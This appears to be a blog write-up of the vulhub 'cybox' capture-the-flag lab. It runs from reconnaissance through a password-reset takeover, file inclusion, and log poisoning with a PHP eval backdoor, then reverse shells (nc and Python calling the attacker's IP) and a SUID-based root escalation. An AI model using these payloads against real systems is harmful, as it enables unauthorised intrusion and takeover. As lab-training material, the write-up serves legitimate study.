vulhub打靶记录——cybox

news2024/9/20 9:46:10

文章目录

    • 主机发现
    • 端口扫描
    • web渗透
      • nikto扫描
      • 目录扫描
    • 提权

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.56.0/24

在这里插入图片描述

  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.102:靶机IP。

或者使用netdiscover通过ARP数据包扫描网段,命令如下:

netdiscover -i eth0 -r 192.168.56.0/24

-i指定网卡,指定哪个网卡,就扫描哪个网卡所在的局域网;
-r:扫描范围。

在这里插入图片描述

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.56.105 -oN scan.txt

-oN:以txt文本格式输出nmap扫描结果。

在这里插入图片描述
可见这台靶机,开放了端口:21(ftp,文件传输协议)、25(smtp,邮件传输(发送)协议)、80(http,web服务)、110(pop3,邮件传输(接收)协议)、143(imap,邮件传输(接收)协议)、443(ssl,安全套接层)。

通常情况,先对80端口的web服务进行渗透。

web渗透

nikto扫描

首先用nikto对网站进行基本的扫描,命令如下:

nikto -host http://192.168.56.102

在这里插入图片描述

并没有太多有用的信息。

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.56.102 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

或者使用gobuster,命令如下:

dirsearch dir -u http://192.168.56.102  -w ./directory.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

http状态码的含义:

  • 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功
  • 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向
  • 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问

在目录扫描的时候,我们发现了assets目录是可以访问的,但是没啥用~
在这里插入图片描述
然后,在扫描中也扫描到了phpmyadmin路径,虽说是403,但是仍然存在,只是我们没有权限访问。
在这里插入图片描述
回到主界面,看到cybox.company这个域名,因为这个域名并不在DNS服务器上做备份,所以我们要是直接访问cybox,company的话,是解析不到IP的,我们在host文件中绑定域名和IP,再访问该域名就可以找到这个IP,因为本机host文件是先于DNS服务器的。
在这里插入图片描述

vim /etc/hosts

# 内容
192.168.56.102 cybox.company

source /etc/hosts # 重新加载hosts文件

这个时候,我们就可以做子域名挖掘,看看cybox.company这个主域名下还有哪些子域名。命令如下:

wfuzz -H 'HOST:FUZZ.cybox.company' -u 'http://192.168.56.102' -w <directory> --hw 489,27
# --hw 
gobuster vhost -v http://cybox.company -w <directory>

在这里插入图片描述
在这里插入图片描述

gobuster好像扫不出来,不知道为啥,还是用wfuzz吧。

vim /etc/hosts

# 内容,vim中连续yy代表复制当前行,p代表粘贴
192.168.56.102 ftp.cybox.company
192.168.56.102 register.cybox.company
192.168.56.102 dev.cybox.company
192.168.56.102 webmail.cybox.company
192.168.56.102 monitor.cybox.company

在这里插入图片描述
访问dev.cybox.company,有一个phpinfo界面;
在这里插入图片描述
访问webmail.cybox.company,是一个邮件登录页面;
在这里插入图片描述
登录窗口先试一下sql注入,发现并没有sql注入。这个邮件系统的版本为1.4.22,搜索了一下,只发现一个远程代码执行的漏洞,但是前提是有一个可登录的用户名和密码,所以也没啥用。

访问monitor.cybox.company,也有一个登陆界面
在这里插入图片描述
先试一下SQL注入,直接报邮件格式不正确。试试抓包,修改POST参数为万能密码。发现并不可行。其实联想到主页面Contact: admin@cybox.company,这里有一个email,试过之后确实有这个账户,但是不知道密码。
在这里插入图片描述
访问ftp.cybox.company,也有一个登陆界面。
在这里插入图片描述
访问register.cybox.company,可以注册一个用户,然后也可以注册成功。

silver@cybox.company
silver

只是不知道,注册的账户名和密码能在哪儿用。之前不是有好几个页面可以登录吗?一个一个试

在这里插入图片描述
最终发现用name:silver password:silver可以登录邮件服务器。根据之前的信息,1.4.22版本的邮件服务器有远程代码执行漏洞,现在我们有可以登录的用户名和密码了,去试试~
脚本没使用成功,大佬有兴趣试试CVE-2017-7692
monitor.cybox.company注册一个账号~
在这里插入图片描述
进入了一个控制面板,但是好像没啥有用的东西。
在这里插入图片描述
试想,要使用admin用户登录这个monitor.cybox.company,是不是会看到不一样的界面。根据之前的信息,我们知道管理员的邮箱为admin@cybox.company。测试发现admin用户确实也存在~
在这里插入图片描述
该页面下还有一个忘记密码的选项,输入邮箱地址,重置密码的链接就会发到邮箱中,我们不是已经登陆到squirremail了吗?
在这里插入图片描述
在邮箱中确实有一个重置密码的链接~

在这里插入图片描述
在这里插入图片描述

我们将email地址改为admin@cybox.company,是不是就可以重置admin用户的密码了呢?

需要注意的是,不能直接在url上改,抓个包,会发现目标emil在post数据中。重置密码后,就可以登录admin用户。

在这里插入图片描述
在这里插入图片描述

进入admin panel,啊o~

在这里插入图片描述
在源码中,发现该页面是通过引入style.php来读取css文件,加上这里可以传参,可以试试有没有文件包含漏洞~ 但是,需要注意的是,访问该页面需要admin用户的cookie。
在这里插入图片描述
通过bp抓包的方式,访问styles.php文件,%00(空字符)表示字符串终止,就是传参结束。没有%00是读不到/etc/passwd文件的。
在这里插入图片描述

既然我们能解析并读取php文件,如果我们能找到日志文件,并且往日志文件插入后门代码,是不是就可以拿到reverse shell呢

dev.cybox.company正好有一个phpinfo的页面,通过该页面我们可以知道:

  1. 所有子域名都在一台计算机上,只是存放位置不一样;
  2. 中间件使用了apache服务器,后端语言脚本为php,apahce服务器的根目录在opt/bitnami/apache2

在这里插入图片描述
apache访问日志路径opt/bitnami/apache2/logs/access_log,访问日志记录网站访问信息,但是并不一定会记录所有子域名的访问信息。

这个访问日志记录的是ftp.cybox.company这个域名的访问信息。

在这里插入图片描述
根据日志内容,我们直接将后门写到UA头中

<?php @eval($_GET[x]);?>

在这里插入图片描述
再访问日志,就发现执行了whoami命令。
在这里插入图片描述

nc -nlvp 4444 # kali监听443端口
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f'); # GET传参,URL编码一下

# 下面这个reverse shell也可以
# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

  • 这个靶场只允许部分端口与外界通信,4444端口就不行;
  • 不是所有的reverse shell都可以反弹成功,有些(如,/bin/bash -i > /dev/tcp/192.168.56.101/443 0<& 2>&1就不行)。

提权

登录到系统,第一件事进入/home目录,查看用户。
在这里插入图片描述
我们发现有admin、cybox、silver三个用户,silver用户应该是我们之前通过register创建的。

再搜索具备SUID权限的程序,命令如下:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
/usr/bin/.../bin/...都是常见的目录,没啥用。重点关注/opt/registerlauncher。切换到/opt目录下,运行registerlauncher,发现就是之前register.cybox.company调用的程序。

在这里插入图片描述

python -c 'import pty; pty.spawn("/bin/bash")' # 得到半交互式shell,以便查看文件内容
file registerlauncher # 查看文件类型

在这里插入图片描述

发现文件是二进制文件。

strings registerlauncher # 查看二进制文件的关键信息

在这里插入图片描述
该二进制文件除了调用一些函数外,还调用了/opt/register这个文件,去看看这个文件啥内容
在这里插入图片描述
创建一个用户,并且-g为这个用户分配一个组,组名就是用户名。

在linux系统中,有一个sudo组,这个组里的用户可以通过sudo执行需要root权限的命令。

试想创建一个sudo用户,就会自动分配到sudo组里,再查看sudo用户的权限。
在这里插入图片描述sudo用户执行所有命令都是以root权限执行,直接sudo bash,以root用户调用shell。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1546654.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

通科技新品亮相:4K60编解一体,USB透传无忧

在信息化快速发展的今天&#xff0c;音视频技术的需求与应用场景日益丰富&#xff0c;特别是在对视频画质和实时性要求极高的领域中&#xff0c;如军警、公安、金融等&#xff0c;对音视频处理设备的性能要求更为严格。为满足这些高端应用场景的需求&#xff0c;视通科技紧跟时…

2024年【道路运输企业安全生产管理人员】考试及道路运输企业安全生产管理人员考试技巧

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 道路运输企业安全生产管理人员考试是安全生产模拟考试一点通总题库中生成的一套道路运输企业安全生产管理人员考试技巧&#xff0c;安全生产模拟考试一点通上道路运输企业安全生产管理人员作业手机同步练习。2024年【…

【PLC】PROFIBUS(一):介绍

1、简介 PROFIBUS (Process Fieldbus)&#xff0c;德国SIEMENS和其它机构联合开发&#xff1b; 1999年&#xff0c;PROFIBUS成为国际工业现场总线协议标准IEC61158的组成部分&#xff1b; PROFIBUS 由三部分组成&#xff1a;PROFIBUS-DP、PROFIBUS-PA 和 PROFIBUS-FMS&#xf…

聚类分析|基于层次的聚类方法及其Python实现

聚类分析|基于层次的聚类方法及其Python实现 0. 基于层次的聚类方法1. 簇间距离度量方法1.1 最小距离1.2 最大距离1.3 平均距离1.4 中心法1.5 离差平方和 2. 基于层次的聚类算法2.1 凝聚&#xff08;Agglomerative&#xff09;2.3 分裂&#xff08;Divisive&#xff09; 3. 基于…

力扣56. 合并区间

Problem: 56. 合并区间 文章目录 题目描述思路及解法复杂度Code 题目描述 思路及解法 1.将数组按内部的一维数组的第一项按从小到大的顺序排序&#xff1b; 2.创建二维结果数组merged&#xff0c;并将排序后的数组中的第一个一维度数组存入到merged中&#xff1b; 3.从后面的一…

【C语言】【Leetcode】70. 爬楼梯

文章目录 题目思路&#xff1a;简单递归 > 动态规划 题目 链接: link 思路&#xff1a;简单递归 > 动态规划 这题类似于斐波那契数列的算法&#xff0c;结果其实就是到达前一步和到达前两步的方法之和&#xff0c;一直递归到n1和n2时就行了&#xff0c;但是这种算法有个…

STM32的CAN通信中,如何通过软件过滤来提高通信效率?

在STM32的CAN通信中&#xff0c;通过软件过滤可以有效地提高通信效率&#xff0c;减少不必要的数据处理&#xff0c;从而减轻CPU的负担并提高系统的响应速度。软件过滤通常是在硬件过滤的基础上进行的&#xff0c;用于进一步筛选特定的CAN消息。以下是如何通过软件过滤来提高ST…

初始Redis关联和非关联

基础篇Redis 3.初始Redis 3.1.2.关联和非关联 传统数据库的表与表之间往往存在关联&#xff0c;例如外键&#xff1a; 而非关系型数据库不存在关联关系&#xff0c;要维护关系要么靠代码中的业务逻辑&#xff0c;要么靠数据之间的耦合&#xff1a; {id: 1,name: "张三…

蓝桥杯刷题8

1. 世纪末的星期 import java.util.Calendar; public class Main {public static void main(String[] args) {Calendar calendar Calendar.getInstance();for(int year 1999;year<100000;year100){calendar.set(Calendar.YEAR,year);calendar.set(Calendar.MONTH,11);cale…

【剑指offr--C/C++】JZ22 链表中倒数最后k个结点

一、题目 二、思路及代码 遍历链表并存入vector容器&#xff0c;通过下标取出对应位置元素或者返回空 /*** struct ListNode {* int val;* struct ListNode *next;* ListNode(int x) : val(x), next(nullptr) {}* };*/ #include <cstddef> #include <iterator> #…

解决 Xshell 等工具连接虚拟机失败

这里以 Xshell 等工具连接 Linux 虚拟机为例 对于我们使用 Xshell 等工具连接虚拟机失败&#xff0c;我们可以从以下的几个方面进行检查和解决 检查连接工具中的连接会话配置是否正确 对于这方面&#xff0c;我们要检查连接工具中连接会话配置的虚拟机 IP 地址和端口号是否正…

每日500+精准粉丝,全自动引流攻略

评论888领取同款软件 智能获客软件&#xff0c;快手自动关注&#xff0c;RPA解放你的双手教程 在如今的数字世界&#xff0c;全自动引流&#xff0c;采集曝光一体的全行业可用引流方法&#xff0c;每日精准引流 500 个粉丝&#xff0c;无疑是每一位企业主或网络红人的终极梦想。…

FreeRTOS(三)

第二部分 事件组 一、事件组的简介 1、事件 事件是一种实现任务间通信的机制&#xff0c;主要用于实现多任务间的同步&#xff0c;但事件通信只能是事件类型的通信&#xff0c;无数据传输。其实事件组的本质就是一个整数(16/32位)。可以是一个事件发生唤醒一个任务&#xff…

[医学分割大模型系列] (3) SAM-Med3D 分割大模型详解

[医学分割大模型系列] -3- SAM-Med3D 分割大模型解析 1. 特点2. 背景3. 训练数据集3.1 数据集收集3.2 数据清洗3.3 模型微调数据集 4. 模型结构4.1 3D Image Encoder4.2 3D Prompt Encoder4.3 3D mask Decoder4.4 模型权重 5. 评估5.1 评估数据集5.2 Quantitative Evaluation5.…

C#_事件_多线程(基础)

文章目录 事件通过事件使用委托 多线程(基础)进程:线程: 多线程线程生命周期主线程Thread 类中的属性和方法创建线程管理线程销毁线程 昨天习题答案 事件 事件&#xff08;Event&#xff09;本质上来讲是一种特殊的多播委托&#xff0c;只能从声明它的类中进行调用,基本上说是…

【python从入门到精通】-- 第二战:注释和有关量的解释

&#x1f308; 个人主页&#xff1a;白子寰 &#x1f525; 分类专栏&#xff1a;python从入门到精通&#xff0c;魔法指针&#xff0c;进阶C&#xff0c;C语言&#xff0c;C语言题集&#xff0c;C语言实现游戏&#x1f448; 希望得到您的订阅和支持~ &#x1f4a1; 坚持创作博文…

体育赛事直播源码是什么?四种适用场景及盈利模式

体育直播系统源码是指已经编写好的程序代码&#xff0c;用于搭建体育赛事直播软件平台。由于源码已经开发&#xff0c;并且源码可以被复制并多次使用&#xff0c;不需要从头开始开发&#xff0c;只需根据需求进行适当的修改和定制&#xff0c;因此可以大大加快上线速度&#xf…

应用层协议 - HTTP

文章目录 目录 文章目录 前言 1 . 应用层概要 2. WWW 2.1 互联网的蓬勃发展 2.2 WWW基本概念 2.3 URI 3 . HTTP 3.1 工作过程 3.2 HTTP协议格式 3.3 HTTP请求 3.3.1 URL基本格式 3.3.2 认识方法 get方法 post方法 其他方法 3.3.2 认识请求报头 3.3.3 认识请…

36.网络游戏逆向分析与漏洞攻防-游戏网络通信数据解析-数据解码器的实现

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 如果看不懂、不知道现在做的什么&#xff0c;那就跟着做完看效果 内容参考于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;35.登录成功数据…

2024年【安全员-C证】考试及安全员-C证考试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 安全员-C证考试根据新安全员-C证考试大纲要求&#xff0c;安全生产模拟考试一点通将安全员-C证模拟考试试题进行汇编&#xff0c;组成一套安全员-C证全真模拟考试试题&#xff0c;学员可通过安全员-C证考试题全真模拟…